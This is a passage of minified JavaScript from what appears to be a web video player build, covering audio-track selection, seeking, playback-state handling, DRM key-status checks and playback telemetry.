Sh.delete(l);e=g.S(m.keys());for(l=e.next();!l.done;l=e.next())l=l.value,l.startsWith("1")||m.delete(l)}else k8.clear(),Sh.clear(),m.clear()}}}this.Kf&&(m=this.Kf,t=t||"",m.policy.C?CR(m.Z.C,t):CR(m.C.T,t));this.h6()};
g.q.getUserPlaybackQualityPreference=function(){return this.videoData.j&&!this.videoData.j.C?Ir(this.videoData.Gq):iG[BZ()]};
g.q.hasSupportedAudio51Tracks=function(){return this.videoData.hasSupportedAudio51Tracks()};
g.q.setUserAudio51Preference=function(x,T){this.getUserAudio51Preference()!==x&&(this.kc("toggle51",{pref:x}),g.vc("yt-player-audio51",x,T?31536E3:2592E3),this.cV())};
g.q.getUserAudio51Preference=function(){return this.videoData.getUserAudio51Preference()};
g.q.setProximaLatencyPreference=function(x){var T=this.getProximaLatencyPreference();this.kc("proxima",{pref:x});g.vc("yt-player-proxima-pref",x,31536E3);T!==x&&(x=this.n2,x.SY=!0,x.Em.seekTo(Infinity,{wp:"seektimeline_proximaSeekToHead",seekSource:34}))};
g.q.getProximaLatencyPreference=function(){var x;return(x=WZ())!=null?x:0};
g.q.isProximaLatencyEligible=function(){return this.videoData.isProximaLatencyEligible};
g.q.Ck=function(){this.videoData.videoId?this.sF.Ck(this.videoData):this.kc("povid",{})};
g.q.Wy=function(){this.videoData.videoId?this.sF.Wy(this.videoData):this.kc("piavid",{})};
g.q.h6=function(){if(!this.T9()&&!g.p(this.playerState,128)&&this.videoData.j){if(this.videoData.j.C)dk(this);else{var x=U2(this),T=this.videoData;a:{var t=this.videoData.L4;if(x.C){for(var u=g.S(t),H=u.next();!H.done;H=u.next()){H=H.value;var I=H.getInfo(),E=g.BU[I.video.quality];if((!x.j||I.video.quality!=="auto")&&E<=x.C){t=H;break a}}t=t[t.length-1]}else t=t[0]}T.Cz=t;J65(this,x.reason,$p3(this,this.videoData.Cz))}if(this.B("html5_check_unstarted")?this.playerState.isOrWillBePlaying():this.isPlaying())this.n2.N=
!1,this.playVideo()}};
g.q.UZ=function(x,T){if(this.T9()||g.p(this.playerState,128))return!1;var t,u=!((t=this.videoData.j)==null||!t.C);t=u&&T?this.getCurrentTime()-this.Pk():NaN;if(this.Cf.experiments.aU("html5_record_audio_format_intent")){var H=this.VA();if(H.qoe){H=H.qoe;var I=[x.S8.id,isNaN(t)?"m":"t"];g.ky(H,g.Uw(H.provider),"afi",I)}}if(u)return T&&(u=u8i(this.n2),this.kc("aswh",{id:x.id,xtags:x.xtags,bh:u.toFixed(3)})),this.Kf.setAudioTrack(x,t,T),!0;if(QzC(this)){a:{T=this.mediaElement.audioTracks();for(u=0;u<
T.length;++u)if(t=T[u],t.label===x.S8.getName()){if(t.enabled){T=!1;break a}T=t.enabled=!0;break a}T=void 0}T&&this.kc("hlsaudio",{id:x.id})}else{a:if(T=this.videoData,T.K&&!Xt(T.K)||x===T.qY||!T.L4||T.L4.length<=0)T=!1;else{u=g.S(T.L4);for(t=u.next();!t.done;t=u.next()){t=t.value;if(!(t instanceof EP)){T=!1;break a}H=x.S8.getId();t.Z&&(lfq(t.Z,H),t.QA=null)}T.qY=x;T=!0}T&&M3(this)&&(this.publish("internalaudioformatchange",this.videoData,!0),this.kc("hlsaudio",{id:x.id}))}return!0};
g.q.getAvailableAudioTracks=function(){return g.pB(this.videoData)&&this.zI?bDV(this.zI).getAvailableAudioTracks():this.videoData.getAvailableAudioTracks()};
g.q.getAudioTrack=function(){if(QzC(this)){var x=Ow5(this);if(x)return x}return this.videoData.getAudioTrack()};
g.q.jy=function(){if(this.videoData.B("html5_trigger_loader_when_idle_network")&&!this.videoData.B9()&&$7(this.videoData)){var x;(x=this.Kf)!=null&&x.NI()}};
g.q.dY=function(){if(tB(this.videoData)&&this.videoData.B("html5_gapless_append_early")){var x;(x=this.Kf)!=null&&x.NI()}};
g.q.Pg=function(x){x=x===void 0?!1:x;if(this.Kf){var T=this.Kf,t=T.Pg;var u=this.videoData;u=u.B("html5_ssdai_use_post_for_media")&&u.enableServerStitchedDai?!1:ZF(u)&&u.CC&&!u.isAd();t.call(T,u,x)}};
g.q.kq=function(x){x=x===void 0?!1:x;this.FW&&(this.logger.debug("remove media source"),c9v(this.FW),this.Pg(x),this.FW.dispose(),this.FW=null)};
g.q.My=function(){return this.FW};
g.q.Py=function(x,T,t,u){function H(E){try{T_V(I,E,T,t)}catch(Z){g.Vh(Z),I.handleError(new r4("fmt.unplayable",{msi:"1",ename:Z&&typeof Z==="object"&&"name"in Z?String(Z.name):void 0},1))}}
var I=this;T=T===void 0?!1:T;t=t===void 0?!1:t;Xki(this,u===void 0?!1:u);this.FW=x;this.WE()&&wo(this.FW)==="open"?H(this.FW):M1i(this.FW,H)};
g.q.Xn=function(x){this.logger.debug("onNeedKeyInfo");this.ow.set(x.initData,x);this.Ei&&(this.Ei.Xn(x),this.B("html5_eme_loader_sync")||this.ow.remove(x.initData))};
g.q.KE=function(x){this.videoData.Aj=g.uG("auto",x,!1,"u");dk(this)};
g.q.H1=function(x){var T=x.reason,t=x.C.info,u=x.token,H=x.videoId,I=this.VA(H),E=g.pB(this.videoData)?I.getVideoData():this.videoData;if(t!==E.K){var Z=!E.K;E.K=t;T!=="m"&&T!=="t"&&(T=Z?"i":"a");var e=T==="m"||T==="t";this.Cf.experiments.aU("html5_refactor_sabr_audio_format_selection_logging")?this.BH=new WCC(E,t,T,"",u,H):I.aj(new WCC(E,t,T,"",u));this.publish("internalaudioformatchange",E,!Z&&e)}this.n2.H1(x.C.index)};
g.q.jr=function(x){this.publish("localmediachange",x)};
g.q.NK=function(x){x=x===void 0?{}:x;var T;(T=this.Kf)==null||T.NK(this.Cf,uv(this.videoData),x)};
g.q.OB=function(){return this.ri.OB()};
g.q.GJ=function(x){this.XD(new r4("staleconfig",{reason:x}))};
g.q.handleError=function(x){this.ri.handleError(x)};
g.q.Fv=function(){return this.ri.Fv()};
g.q.Gp=function(x){this.n2.Gp(x)};
g.q.jw=function(x,T,t){x=x===void 0?!1:x;T=T===void 0?!1:T;t=t===void 0?!1:t;var u=this,H,I,E;return g.G(function(Z){if(Z.C==1){u.Kf&&u.Kf.Lm();u.Kf&&u.Kf.T9()&&SZ(u);if(u.B("html5_enable_vp9_fairplay")&&u.Ut()&&(H=u.videoData.C)!=null)for(var e in H.C)H.C.hasOwnProperty(e)&&(H.C[e].C=null,H.C[e].j=!1);u.QF(iZ(u.playerState,2048));u.B("html5_ssap_keep_media_on_finish_segment")&&g.pB(u.videoData)?u.publish("newelementrequired",t):u.publish("newelementrequired");return x?g.v(Z,Rz(u),2):Z.lG(2)}u.videoData.B9()&&
((I=u.Kf)==null?0:I.uG)&&!iR(u)&&((E=u.isAtLiveHead())&&q$(u.videoData)?u.seekTo(Infinity,{wp:"videoPlayer_getNewElement"}):u.videoData.qI&&u.Kf&&(e=u.Kf,e.gy.B9&&(e.gy.qI||e.gy.K||e.gy.isPremiere?(e.seek(0,{wp:"loader_resetSqless"}),e.videoTrack.N=!0,e.audioTrack.N=!0,e.videoTrack.T=!0,e.audioTrack.T=!0):bQ(e.gy)&&Md(e))));T&&u.seekTo(0,{seekSource:105});g.p(u.playerState,8)&&(u.B("html5_ssap_keep_media_on_finish_segment")&&g.pB(u.videoData)?u.playVideo(!1,t):u.playVideo());g.RV(Z)})};
g.q.Gj=function(x){this.kc("hgte",{ne:+x});this.videoData.J=!1;x&&this.jw();this.Kf&&pK5(this.Kf)};
g.q.AG=function(x){this.kc("newelem",{r:x});this.jw()};
g.q.pauseVideo=function(x){x=x===void 0?!1:x;if((g.p(this.playerState,64)||g.p(this.playerState,2))&&!x)if(g.p(this.playerState,8))this.QF(E1(this.playerState,4,8));else if(this.nm())M3(this);else return;g.p(this.playerState,128)||(x?this.QF(iZ(this.playerState,256)):this.QF(E1(this.playerState,4,8)));this.mediaElement&&this.mediaElement.pause();g.rb(this.videoData)&&this.Kf&&bR(this,!1)};
g.q.stopVideo=function(){this.pauseVideo();this.Kf&&(bR(this,!1),this.Kf.CU())};
g.q.iM=function(x,T){x=x===void 0?!1:x;T=T===void 0?!1:T;if(this.WE()&&T){var t;(t=this.mediaElement)==null||t.iM()}else{var u;(u=this.mediaElement)==null||u.stopVideo()}rk(this);SZ(this);g.p(this.playerState,128)||(x?this.QF(IG(IG(iZ(this.playerState,4),8),16)):this.QF(H0(this.playerState)));this.videoData.videoId&&this.Cf.hQ.remove(this.videoData.videoId)};
g.q.seekTo=function(x,T){T=T===void 0?{}:T;this.logger.debug(function(){return"SeekTo "+x+", "+JSON.stringify(T)});
g.p(this.playerState,2)&&M3(this);T.gZy&&this.QF(iZ(this.playerState,2048));T.seekSource!==58&&T.seekSource!==60||!this.B("html5_update_vss_during_gapless_seeking")||m0v(this.VA(),T.seekSource);this.n2.seekTo(x,T);this.dV.sync()};
g.q.nI=function(x){this.MJ.K.H2();g.p(this.playerState,32)||(this.QF(iZ(this.playerState,32,x==null?void 0:x.seekSource)),g.p(this.playerState,8)&&this.pauseVideo(!0),this.publish("beginseeking",this));this.Bk()};
g.q.hA=function(x){x=x==null?void 0:x.seekSource;g.p(this.playerState,32)?(this.QF(E1(this.playerState,16,32,x)),this.publish("endseeking",this)):g.p(this.playerState,2)||this.QF(iZ(this.playerState,16,x));this.MJ.K.D5(this.videoData,this.playerState.isPaused())};
g.q.S5=function(x){this.hA(x)};
g.q.v2=function(){this.publish("SEEK_COMPLETE")};
g.q.L0=function(){this.publish("onAbnormalityDetected")};
g.q.lL=function(x){var T=this.sF,t=this.videoData.clientPlaybackNonce,u=this.playerType;if(x.scope===4){var H=x.type;if(H){var I=T.j8(),E=I.getVideoData().clientPlaybackNonce;u===1&&(E=t);(T=TfV(T,E))?(t=T.getVideoData())&&(x.writePolicy===2&&t.sabrContextUpdates.has(H)||t.sabrContextUpdates.set(H,x)):I.kc("scuset",{ncpf:"1",ccpn:E,crcpn:t})}else g.Vh(Error("b/380308491: contextUpdateType is undefined"))}};
g.q.vL=function(){if(this.playerType===2)return this.sF.vL("")};
g.q.getCurrentTime=function(){return this.n2.getCurrentTime()};
g.q.j$=function(){return this.n2.j$()};
g.q.G3=function(){return this.n2.G3()};
g.q.W3=function(x){return this.zI&&(x=x||this.zI.nB())?Hm(this.zI,x):this.G3()};
g.q.gi=function(){return this.n2.gi()};
g.q.getPlaylistSequenceForTime=function(x){return this.videoData.getPlaylistSequenceForTime(x-this.Pk())};
g.q.Mp=function(){var x=NaN;this.mediaElement&&(x=this.mediaElement.Mp());return x>=0?x:this.getCurrentTime()};
g.q.p4=function(){var x;return((x=this.videoData.C)==null?0:x.p4)?this.videoData.C.p4(this.getCurrentTime()-this.Pk()):this.mediaElement&&(x=this.mediaElement.F6())&&(x=x.getTime(),!isNaN(x))?x/1E3+this.getCurrentTime():NaN};
g.q.getDuration=function(x){return g.pB(this.videoData)&&this.zI?x?UZV(this.zI,x):Xa(this.zI):this.videoData.lengthSeconds?this.videoData.lengthSeconds+this.Pk():this.gb()?this.gb():0};
g.q.Zh=function(){var x=new clJ;if(this.Kf){var T=this.Cf.schedule,t=this.Cf.AM();t=t===void 0?!1:t;x.DI=T.uG;x.hj=T.G9;x.bandwidthEstimate=Si(T);if(t){t=(T.J.Z$()*1E3).toFixed();var u=(T.Om.Z$()*1E3).toFixed(),H=AF(T).toFixed(2),I=((T.N.Z$()||0)*1E9).toFixed(2),E=T.j.Z$().toFixed(0),Z=T.hQ.Z$().toFixed(0),e=T.S.percentile(.5).toFixed(2),l=T.S.percentile(.92).toFixed(2),m=T.S.percentile(.96).toFixed(2),d=T.S.percentile(.98).toFixed(2);T.C?T.C.reset():T.C=new E0;T.C.add(T.Hv);T.C.add(T.interruptions.length);
for(var M=0,A=T.interruptions.length-1;A>=0;A--){var R=T.interruptions[A];T.C.add(R-M);M=R}M=0;for(A=T.K.length-1;A>=0;A--){R=T.K[A];var Y=R.stamp/36E5;T.C.add(Y-M);M=Y;T.C.add(R.net/1E3);T.C.add(R.max)}T=T.C.vM();x.C={ttr:t,ttm:u,d:H,st:I,bw:E,abw:Z,v50:e,v92:l,v96:m,v98:d,"int":T}}SD3(this.Kf,x)}else this.mediaElement&&(x.g$=oG(this.mediaElement));x.DI=this.DI;x.hj=this.hj;x.j=this.isAtLiveHead()&&this.isPlaying()?VZf(this):NaN;return x};
g.q.J4=function(x,T){this.hj+=x;this.DI+=T};
g.q.EJ=function(){return this.mediaElement?g.rb(this.videoData)?1:zT(this.videoData)?this.isAtLiveHead()||this.Js()?1:this.n2.EJ():this.mediaElement.EJ():0};
g.q.kT=function(){var x=this.getCurrentTime();if(this.Ei){var T="IT/"+(this.Ei.C.getInfo()+"/"+Ir(this.Cm()));T+="/"+this.Ei.getInfo()}else T="";var t=this.isGapless(),u=this.d_(),H=this.mD(),I=g.YG(this),E=this.getPlayerState(),Z=this.getPlaylistSequenceForTime(this.getCurrentTime());a:{var e=0;var l="";if(this.VF){if(this.VF.DN){l="D,";break a}e=this.VF.Sp();l=this.VF.nB().substring(0,4)}else this.zI&&(e=this.zI.Sp(),l=this.zI.nB().substring(0,4));e>0?(e="AD"+e+", ",l&&(e+=l+", "),l=e):l=""}return{currentTime:x,
g8:T,isGapless:t,d_:u,NS:H,DzZ:I,playerState:E,AR7:Z,uYG:this.ej,WQ:l,Zdy:this.zS()}};
g.q.K2=function(x){var T={};if(x===void 0?0:x){Object.assign(T,this.VA().K2());this.mediaElement&&(Object.assign(T,this.mediaElement.K2()),Object.assign(T,this.zS()));this.Kf&&Object.assign(T,this.Kf.K2());this.Ei&&(T.drm=JSON.stringify(this.Ei.K2()));T.state=this.playerState.state.toString(16);g.p(this.playerState,128)&&(T.debug_error=JSON.stringify(this.playerState.Eo));this.A7()&&(T.prerolls=this.L$.join(","));this.videoData.RW&&(T.ismb=this.videoData.RW);this.videoData.latencyClass!=="UNKNOWN"&&
(T.latency_class=this.videoData.latencyClass);this.videoData.isLowLatencyLiveStream&&(T.lowlatency="1");if(this.videoData.defaultActiveSourceVideoId||this.videoData.compositeLiveStatusToken||this.videoData.compositeLiveIngestionOffsetToken)T.is_mosaic=1;this.videoData.cotn&&(T.is_offline=1,T.cotn=this.videoData.cotn);this.videoData.playerResponseCpn&&(T.playerResponseCpn=this.videoData.playerResponseCpn);this.sF.isOrchestrationLeader()&&(T.leader=1);this.videoData.isLivePlayback&&(this.videoData.C&&
SP(this.videoData.C)&&(T.segduration=SP(this.videoData.C)),x=this.n2,T.lat=x.D?gyC(x.D.K):0,T.liveutcstart=this.videoData.liveUtcStartSeconds);T.relative_loudness=this.videoData.tI.toFixed(3);if(x=g.YG(this))T.optimal_format=x.video.qualityLabel;T.user_qual=BZ();T.release_version="youtube.player.web_20250224_01_RC00";g.pB(this.videoData)&&this.zI&&(T.ssap=Sn(this.zI))}T.debug_videoId=this.videoData.videoId;return T};
g.q.addCueRange=function(x){this.GT([x])};
g.q.removeCueRange=function(x){this.dV.YX([x])};
g.q.iY=function(){this.dV.sync()};
g.q.i6=function(x,T){return this.dV.i6(x,T)};
g.q.GT=function(x,T){this.dV.oi(x,T)};
g.q.YR=function(x){this.dV.YX(x)};
g.q.Rv=function(x){var T=this.dV;x.length<=0||T.T9()||(x=T.C,x.array.sort(x.C))};
g.q.B_=function(){return this.dV.B_()||[]};
g.q.Kr=function(){return this.Dh};
g.q.D$=function(){return this.visibility.D$()};
g.q.DS=function(){this.mediaElement&&this.mediaElement.DS()};
g.q.UzG=function(){Pk(this)};
g.q.togglePictureInPicture=function(){this.mediaElement&&this.mediaElement.togglePictureInPicture()};
g.q.UW=function(x){var T=x.target.Ld();if(this.mediaElement&&this.mediaElement.Ld()&&this.mediaElement.Ld()===T){e7i(this,x.type);switch(x.type){case "error":var t=s1(this.mediaElement)||"",u=this.mediaElement.HU();if(t==="capability.changed"){this.B("html5_restart_on_capability_change")?(this.kc("capchg",{msg:u}),this.jw(!0)):Rz(this);return}if(this.mediaElement.hasError()&&(VNX(this.ri,t,{msg:u})||g.pB(this.videoData)&&this.zI&&(u=this.playerState.Eo,this.zI.handleError(t,u==null?void 0:u.Ik))))return;
if(this.isBackground()&&this.mediaElement.Yp()===4){this.iM();ck(this,"unplayable");return}break;case "durationchange":t=this.mediaElement.getDuration();isFinite(t)&&(!this.FW||t>0)&&t!==1&&this.IC(t);break;case "ratechange":this.Kf&&this.Kf.setPlaybackRate(this.mediaElement.getPlaybackRate());vyv(this.dV);this.VA().onPlaybackRateChange(this.getPlaybackRate());break;case "loadedmetadata":mpJ(this);this.publish("onLoadedMetadata");uC3(this);t=this.p4();this.videoData.VQ&&(this.videoData.VQ=t);break;
case "loadstart":uC3(this);break;case "progress":case "suspend":this.Bk();this.publish("onLoadProgress",this,this.EJ());break;case "playing":this.MJ.Tq("plev");this.K8&&!iR(this)&&(this.K8=!1,this.isAtLiveHead()||(this.logger.debug("seek to infinity on PLAYING"),this.seekTo(Infinity,{wp:"videoplayer_onPlaying"})));break;case "timeupdate":t=this.mediaElement&&!this.mediaElement.getCurrentTime();u=this.mediaElement&&this.mediaElement.LB()===0;if(t&&(!this.Vq||u))return;this.Vq=this.Vq||!!this.mediaElement.getCurrentTime();
sJD(this);this.Bk();if(!this.mediaElement||this.mediaElement.Ld()!==T)return;this.publish("onVideoProgress",this,this.getCurrentTime());break;case "waiting":if(this.mediaElement.Km().length>0&&this.mediaElement.kp().length===0&&this.mediaElement.getCurrentTime()>0&&this.mediaElement.getCurrentTime()<5&&this.Kf)return;this.B("html5_ignore_unexpected_waiting_cfl")&&(this.mediaElement.isPaused()||this.mediaElement.LB()>2||!this.mediaElement.isSeeking()&&Ec(this.mediaElement.kp(),this.mediaElement.getCurrentTime()))&&
(t=this.mediaElement.K2(),t.bh=oG(this.mediaElement).toFixed(3),this.kc("uwe",t));g.pB(this.videoData)&&this.zI&&MjX(this.zI,this.mediaElement.getCurrentTime());break;case "resize":mpJ(this);this.videoData.Z&&this.videoData.Z.video.quality==="auto"&&this.publish("internalvideoformatchange",this.videoData,!1);break;case "pause":if(this.Kw&&g.p(this.playerState,8)&&!g.p(this.playerState,1024)&&this.getCurrentTime()===0&&g.M4){ck(this,"safari_autoplay_disabled");return}}if(this.mediaElement&&this.mediaElement.Ld()===
T){e5V(this.n2,x,this.zI||void 0);this.publish("videoelementevent",x);T=this.playerState;u=this.Gw;var H=this.mediaElement;t=this.videoData.clientPlaybackNonce;var I=g.pB(this.videoData)&&this.zI?Xa(this.zI):void 0;if(!g.p(T,128)){var E=T.state;H=H?H:x.target;var Z=H.getCurrentTime();if(!g.p(T,64)||x.type!=="ended"&&x.type!=="pause"){I=I||H.getDuration();I=H.isEnded()||Z>1&&Math.abs(Z-I)<1.1;var e=x.type==="pause"&&H.isEnded();Z=x.type==="ended"||x.type==="waiting"||x.type==="timeupdate"&&!g.p(T,
4)&&!wR(u,Z);if(e||I&&Z)H.dQ()>0&&H.Ld()&&(E=14);else switch(x.type){case "error":s1(H)&&(E|=128);break;case "pause":g.p(T,256)?(E^=256)||(E=64):g.p(T,32)||g.p(T,2)||g.p(T,4)||(E=4,g.p(T,1)&&g.p(T,8)&&(E|=1));break;case "playing":Z=E;E=(E|8)&-1093;Z&4?(E|=1,$l(u,H,!0)):wR(u,H.getCurrentTime())&&(E&=-2);g.p(T,1)&&$l(u,H)&&(E|=1);break;case "seeking":E|=16;g.p(T,8)&&(E|=1);E&=-3;break;case "seeked":E&=-17;$l(u,H,!0);break;case "waiting":g.p(T,2)||(E|=1);$l(u,H);break;case "timeupdate":Z=g.p(T,16),I=
g.p(T,4),(g.p(T,8)||Z)&&!I&&wR(u,H.getCurrentTime())&&(E=8),$l(u,H)&&(E|=1)}}u=E;E=null;u&128&&(E=x.target,H=s1(E),Z=1,H?(H==="capability.changed"&&(Z=2),I="GENERIC_WITHOUT_LINK",e=E.K2(),e.mediaElem="1",/AUDIO_RENDERER/.test(E.HU())&&(I="HTML5_AUDIO_RENDERER_ERROR"),E={errorCode:H,errorMessage:g.fb[I]||"",fh:I,VN:bF(e),Ik:Z,cpn:T.Eo?T.Eo.cpn:""}):E=null,E&&(E.cpn=t));T=H0(T,u,E)}!g.p(this.playerState,1)&&g.p(T,1)&&jJX(this,"evt"+x.type);this.QF(T)}}};
g.q.V8u=function(x){x=x.C.availability==="available";x!==this.Dh&&(this.Dh=x,this.publish("airplayavailabilitychange"))};
g.q.YeQ=function(){var x=(0,g.bo)(),T=this.mediaElement.D$();this.kc("airplay",{ia:T});!T&&!isNaN(this.S9)&&x-this.S9<2E3||(this.S9=x,T!==this.D$()&&(x=this.visibility,x.C!==T&&(x.C=T,x.oH()),this.kc("airplay",{rbld:T}),this.cV()),this.publish("airplayactivechange"))};
g.q.z$=function(x){if(this.Kf){var T=this.Kf,t=T.K,u=T.getCurrentTime(),H=Date.now()-t.S;t.S=NaN;t.kc("sdai",{adfetchdone:x,d:H});x&&!isNaN(t.N)&&t.Z!==3&&nR(t.Kf,u,t.N,t.T);t.policy.T?t.j=NaN:t.K=NaN;Gp(t,4,t.Z===3?"adfps":"adf");TL(T)}};
g.q.JD=function(){g.M2(this.nD);this.pm.stop();this.videoData.uG=!0;this.Cf.XT=!0;this.Cf.Ym=0;var x=this.ri;if(x.videoData.Z){var T=x.Pv.T,t=x.videoData.Z.Wv;T.Z.has(t)&&(T.Z.delete(t),s0(T))}x.C.stop();this.j6();g.p(this.playerState,8)&&this.QF(IG(this.playerState,65));this.Tp=!1;liX(this.VA());g.Kt(this.TU);this.publish("playbackstarted");(x=g.yJ("yt.scheduler.instance.clearPriorityThreshold"))?x():TG(0,0)};
g.q.j6=function(){var x=this.sF.Wk(),T={},t={};!WM("pbs",this.MJ.timerName)&&bc.measure&&bc.getEntriesByName&&(bc.getEntriesByName("mark_nr")[0]?fc4("mark_nr"):fc4());x.videoId&&(T.videoId=x.videoId);x.clientPlaybackNonce&&!this.B("web_player_early_cpn")&&(T.clientPlaybackNonce=x.clientPlaybackNonce);this.mediaElement&&this.mediaElement.isPaused()&&(t.isPausedOnLoad=!0);t.itag=x.Z?Number(x.Z.itag):-1;x.C4&&(t.preloadType=String(this.TA?2:1));T.liveStreamMode=o13[PV(x)];T.playerInfo=t;this.MJ.infoGel(T);
if(this.Kf){x=this.Kf.timing;window&&window.performance&&window.performance.getEntriesByName&&(x.j&&(T=window.performance.getEntriesByName(x.j),T.length&&(T=T[0],x.tick("vri",T.fetchStart),x.tick("vdns",T.domainLookupEnd),x.tick("vreq",T.requestStart),x.tick("vrc",T.responseEnd))),x.Z&&(T=window.performance.getEntriesByName(x.Z),T.length&&(T=T[0],x.tick("ari",T.fetchStart),x.tick("adns",T.domainLookupEnd),x.tick("areq",T.requestStart),x.tick("arc",T.responseEnd))));x=x.ticks;for(var u in x)x.hasOwnProperty(u)&&
this.MJ.tick(u,x[u])}};
g.q.er=function(x,T,t){x=(x+(this.TL===3?.3:0))/T;T=Math.floor(x*4);T>this.TL&&(this.kc("vpq",{q:T,cpn:t||this.videoData.clientPlaybackNonce,ratio:x.toFixed(3)}),this.TL=T)};
g.q.WG=function(){this.TL=-1};
g.q.Bk=function(x){var T=this;x=x===void 0?!1:x;if(this.mediaElement&&this.videoData){$33(this.n2,this.isPlaying());var t=this.getCurrentTime();!this.Kf||g.p(this.playerState,4)&&g.rb(this.videoData)||g.p(this.playerState,32)&&$7(this.videoData)||YDX(this.Kf,t);this.B("html5_ssap_pacf_qoe_ctmp")&&this.playerType===2&&this.er(t,this.videoData.lengthSeconds);t>5&&(this.n2.K=t);var u=g.x$();u?g.Du.L_(this.Rs):g.d2(this.Rs);var H=this.mediaElement.isPaused();if((this.playerState.isBuffering()||!H||xh(this.videoData))&&
!g.p(this.playerState,128)){var I=function(){if(T.mediaElement&&!g.p(T.playerState,128)){T.Cf.AM()&&e7i(T,"pfx");var E=T.getCurrentTime();T.B("html5_buffer_underrun_transition_fix")&&(E-=T.Pk());var Z=oG(T.mediaElement),e=g.p(T.playerState,8),l=wR(T.Gw,E),m=F6D(T.Gw,E,(0,g.bo)(),Z);e&&l?T.QF(IG(T.playerState,1)):e&&m?(e=T.getDuration(),l=q$(T.videoData),e&&Math.abs(e-E)<1.1?(T.kc("setended",{ct:E,bh:Z,dur:e,live:l}),T.mediaElement.RX()?(T.logger.debug("seek to 0 because of looping"),T.seekTo(0,{wp:"videoplayer_loop",
seekSource:37})):T.W1()):(T.playerState.isBuffering()||jJX(T,"progress_fix"),T.QF(iZ(T.playerState,1)))):(e&&!l&&!m&&E>0&&(e=(Date.now()-T.w6)/1E3,l=T.getDuration(),E>l-1&&T.kc("misspg",{t:E.toFixed(2),d:l.toFixed(2),r:e.toFixed(2),bh:Z.toFixed(2)})),T.playerState.isPaused()&&T.playerState.isBuffering()&&oG(T.mediaElement)>5&&T.QF(IG(T.playerState,1)));T.Bk()}};
this.mediaElement.Km().length===0?this.Rs=u?g.Du.v_(I,100):g.lP(I,100):this.Rs=u?g.Du.v_(I,500):g.lP(I,500)}this.videoData.AQ=t;this.zI&&this.zI.QQ();!x&&this.isPlaying()&&Hb3(this);oA4(this.Gt,this.z7,this.Bt(),this.isBackground())&&dk(this);this.publish("progresssync",this,x);H&&xh(this.videoData)&&this.publish("onVideoProgress",this,this.getCurrentTime())}};
g.q.v4=function(){this.V9("ad.rebuftimeout",2,"RETRYABLE_ERROR","vps."+this.playerState.state.toString(16))};
g.q.mD=function(){return this.VA().mD()};
g.q.mf=function(){return this.Kf?this.Kf.mf():Si(this.Cf.schedule,!0)};
g.q.QF=function(x){if(!g.qW(this.playerState,x)){this.logger.debug(function(){return"Setting state "+x.toString()});
var T=new g.qa(x,this.playerState);this.playerState=x;ls4(this);var t=!this.cC.length;this.cC.push(T);var u=this.mediaElement&&this.mediaElement.isSeeking();u=T.oldState.state===8&&!u;g.j1(T,1)&&u&&g.p(this.playerState,8)&&!g.p(this.playerState,64)&&this.Kf&&(QX3(this.Kf),this.mediaElement&&oG(this.mediaElement)>=5&&xdD(this.Gt,this.z7)&&dk(this));(u=g.Z9(this.Cf.experiments,"html5_ad_timeout_ms"))&&this.videoData.isAd()&&g.p(x,1)&&(g.p(x,8)||g.p(x,16))?this.KG.start(u):this.KG.stop();(Zy(T,8)<0||
g.j1(T,1024))&&this.pm.stop();!g.j1(T,8)||this.videoData.uG||g.p(T.state,1024)||this.pm.start();g.p(T.state,8)&&Zy(T,16)<0&&!g.p(T.state,32)&&!g.p(T.state,2)&&this.playVideo();g.p(T.state,2)&&zT(this.videoData)&&(this.IC(this.getCurrentTime()),this.Bk(!0));g.j1(T,2)&&(this.Ls(!0),this.Cf.AM()&&this.B("html5_sabr_parse_live_metadata_playback_boundaries")&&$7(this.videoData)&&this.videoData.C&&(u={minst:""+this.videoData.C.U$,cminst:""+(this.videoData.C.qU()+this.Pk()),maxst:""+this.videoData.C.jb,
hts:""+this.videoData.C.jY,cmaxst:""+(this.videoData.C.gb()+this.Pk())},this.kc("sabrSeekableBoundaries",u)));g.j1(T,128)&&this.iM();this.videoData.C&&this.videoData.isLivePlayback&&!this.hn&&(Zy(T,8)<0?KXX(this.videoData.C):g.j1(T,8)&&this.videoData.C.resume());sz3(this.n2,T);d0i(this.VA(),T);if(t&&!this.T9())try{for(var H=g.S(this.cC),I=H.next();!I.done;I=H.next()){var E=I.value;Vhm(this.dV,E);this.publish("statechange",E)}}finally{this.cC.length=0}}};
g.q.W2=function(){this.MJ.tick("qoes")};
g.q.NL=function(){this.n2.NL()};
g.q.Zv=function(x,T,t,u){a:{var H=this.ri;u=u===void 0?"LICENSE":u;t=t.substring(0,256);var I=zY(T);x==="drm.keyerror"&&this.Ei&&this.Ei.Z.keys.length>1&&H.K<96&&(x="drm.sessionlimitexhausted",I=!1);if(I)if(H.videoData.Z&&H.videoData.Z.video.isHdr())BCC(H,x);else{if(H.Em.V9(x,T,u,t),FCf(H,{detail:t}))break a}else H.XD(x,{detail:t});x==="drm.sessionlimitexhausted"&&(H.kc("retrydrm",{sessionLimitExhausted:1}),H.K++,ZbD(H.Em))}};
g.q.gPG=function(){var x=this,T=g.Z9(this.Cf.experiments,"html5_license_constraint_delay"),t=xi();T&&t?(T=new g.wX(function(){x.h6();Pk(x)},T),g.y(this,T),T.start()):(this.h6(),Pk(this))};
g.q.L5=function(x){this.publish("heartbeatparams",x)};
g.q.ZS=function(x){this.kc("keystatuses",XVC(x));var T="auto",t=!1;this.videoData.Z&&(T=this.videoData.Z.video.quality,t=this.videoData.Z.video.isHdr());if(this.B("html5_drm_check_all_key_error_states")){var u=xwq(T,t);u=m_(x)?Thf(x,u):x.K.includes(u)}else{a:{T=xwq(T,t);for(u in x.C)if(x.C[u].status==="output-restricted"){var H=x.C[u].type;if(T===""||H==="AUDIO"||T===H){u=!0;break a}}u=!1}u=!u}if(this.B("html5_enable_vp9_fairplay")){if(t)if(x.N){var I;if((I=this.Ei)==null?0:gV(I.C))if((t=this.Ei)==
null)t=0;else{T=I=void 0;H=g.S(t.Z.values());for(var E=H.next();!E.done;E=H.next())E=E.value,I||(I=ohi(E,"SD")),T||(T=ohi(E,"AUDIO"));t.QY({sd:I,audio:T});t=I==="output-restricted"||T==="output-restricted"}else t=!u;if(t){this.kc("drm",{dshdr:1});BCC(this.ri);return}}else{this.videoData.yj||(this.videoData.yj=!0,this.kc("drm",{dphdr:1}),this.jw(!0));return}var Z;if((Z=this.Ei)==null?0:gV(Z.C))return}else if(Z=x.N&&u,t&&!Z){BCC(this.ri);return}u||Thf(x,"AUDIO")&&Thf(x,"SD")||(this.logger.debug("All formats are output restricted, Retry or Abort"),
